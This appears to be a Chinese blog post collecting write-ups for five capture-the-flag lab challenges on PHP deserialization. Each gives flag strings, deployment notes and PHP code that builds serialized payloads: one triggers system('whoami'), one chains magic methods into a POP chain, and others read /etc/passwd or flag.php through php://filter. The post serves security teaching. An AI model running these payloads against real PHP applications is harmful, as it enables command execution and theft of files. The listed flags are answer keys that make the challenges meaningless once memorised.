PHP反序列化命令执行+PHP反序列化POP大链 +PHP反序列化基础

发布于:2024-04-17 ⋅ 阅读:(27) ⋅ 点赞:(0)

[题目信息]:

题目名称 题目难度
PHP反序列化命令执行 1

[题目考点]:

反序列化命令执行,获取题目flag。

[Flag格式]:

SangFor{t5euvZ_OB8Jd_h2-}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

name赋值为system,$male赋值为whoami,即调用system(whoami)

<?php
class A{
    public $name;
    public $male;

}
$a = new A();
$a -> name = "system";
$a -> male = "whoami";
echo serialize($a);

?>

5、序列化结果:

6、最终结果:







[题目信息]:

题目名称 题目难度
PHP反序列化POP大链 2

[题目考点]:

通过多个类中不同的魔术方法,构造反序列化POP链,获取题目flag。

[Flag格式]:

SangFor{qMWi3Uhs1r2uX6FB}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先通读代码,代码中存在6个类,每一个类中定义了两个变量,同时每个类中定义了不同的魔术方法。

__desctruct()
类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。
__toString()
在对象当做字符串的时候会被调用
___call() 
当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息
__invoke()
直接调用对象名当方法使用时,就调用的是__invoke()方法

2、我们的目标是获取flag,函数getFlag()在类getFlag类中,而__destruct()魔术方法可以作为POP链的触发点

3、通过构造POP链,把__destruct()函数作为触发点,getFlag()函数作为终止点,最终获取flag

<?php
class start_gg
{
        public $mod1; 
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1; 
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func //1
{
        public $mod1; //string1
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1 //2
{
        public $str1; //GetFlag
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag //3
{
        public function get_flag()
        {
                echo "i,m ok xxxxxxxx";
        }
}
$GetFlag    = new GetFlag();    
$func       = new func();
$string1    = new string1();
$funct      = new funct();
$Call       = new Call();
$start_gg   = new start_gg();

$start_gg->mod1 = $Call;
//pop链起始点
$Call->mod1 = $funct;
#类Call中的变量$mod1设置为funct的实例化对象,当调用$mod1中的test2()方法,funct类中并不存在test2()成员方法(函数),就会自动寻找魔术方法__call()并调用它
$funct->mod1 = $func;
#类funct中的mod1设置为类func的实例化对象,在代码中 $s1 = $this->mod1;$s1<==>$func类的实例化对象,$s1()是调用函数的方法,但现在$s1为类的实例化对象,所有会自动寻找并调用func类中的__invoke魔术方法

$func->mod1 = $string1;
#现在POP链执行了func中的魔术方法__invoke, $this->mod2 = "字符串拼接".$this->mod1;代码会被执行,其中$mod1被当作字符串处理,可以将$mod1设置为class string1的实例化对象,会自动搜索并调用类string1中的__string()魔术方法
$string1->str1 = $GetFlag;
#最后,将类string中的变量$str1设置为类GetFlag的实例化对象,会调用$this->str1->get_flag();获取flag

echo serialize($start_gg);

5、输出序列化内容为(红框内容不需要):

6、最终结果:









[题目信息]:

题目名称 题目难度
PHP反序列化pop链基础 1

[题目考点]:

PHP反序列化pop链基础

[Flag格式]:

SangFor{reIqYxxlWeD4bABr}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类A,类B

2、在类A中存在公有变量$classname和__destruct()魔术方法,在魔术方法中调用了类B中的read_file()函数

类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制

3、在类B中,定义了私有变量$filename,同时,read_file()函数中存在file_get_contents()函数,并且参数为$filename。

4、最后存在unserialize()函数,同时参数也可控

利用方法

1、实例化类A

2、并且将类A中的公有变量$classname赋值为类B的实例化对象

那么,当实例化类A的同时也实例化了类B

3、然后将类B中的私有变量$filename赋值所需读取文件名称

4、将实例化类A序列化并输出

5、最后将输出结果通过GET方式输入

<?php
class A{
	public $classname;
}
class B{
	private $filename="/etc/passwd";
}
$a = new A();
$a -> classname = new B();

echo urlencode(serialize($a));
?>

5、输出序列化内容为:

6、最终结果:

既然可以读取passwd文件,那么尝试读一下flag.php文件吧!







[题目信息]:

题目名称 题目难度
PHP反序列化基础-2 1

[题目考点]:

PHP反序列化基础2

[Flag格式]:

SangFor{8wTFrFxSKMzXM3ng}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类Ser

2、第二行定义公有变量 $name

3、存在魔术方法wakeup

当实例化的类反序列化时会自动触发__wakeup()魔术方法

4、在__wakeup函数中存在file_get_contents()函数,并且参数为$name,可控(注意成员变量$name为私有类型)

成员变量大致可以分为三类:

  • public 共有类型
  • private 私有类型
  • protected 被保护类型

当成员变量为私有类型时,当$name被反序列化时,前后为%00。

如果不做处理,在cmd命令行中显示类似于空格,复制到url地址栏时会被转化为%20,也就是空格的url编码,所以需要将输出的结果进行url。

5、最后存在unserialize()函数,并且参数可控

利用方法

1、实例化类Ser

2、使用php://filter伪协议,$name赋值所需读取文件名称

3、将实例化类Ser序列化并输出

4、将输出结果通过GET方式输入

<?php 
class Ser{
	private $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo urlencode(serialize($a));
?>

将base64进行解码。









[题目信息]:

题目名称 题目难度
PHP反序列化基础 1

[题目考点]:

1. PHP反序列化基础

[Flag格式]:

SangFor{k26Bj-V9ENIY7tBy}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类Ser

2、第二行定义公有变量 $name

3、存在魔术方法 __toString

当实例化的类被当作字符串处理时会自动触发__toString魔术方法

4、在__toString函数中存在file_get_contents()函数,并且参数为$name,可控

5、最后存在unserialize()函数,并且参数可控

利用方法

1、实例化类Ser

2、使用php://filter伪协议,$name赋值所需读取文件名称

3、将实例化类Ser序列化并输出

4、将输出结果通过GET方式输入

<?php 
class Ser{
	public $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo serialize($a);
?>

将base64进行解码。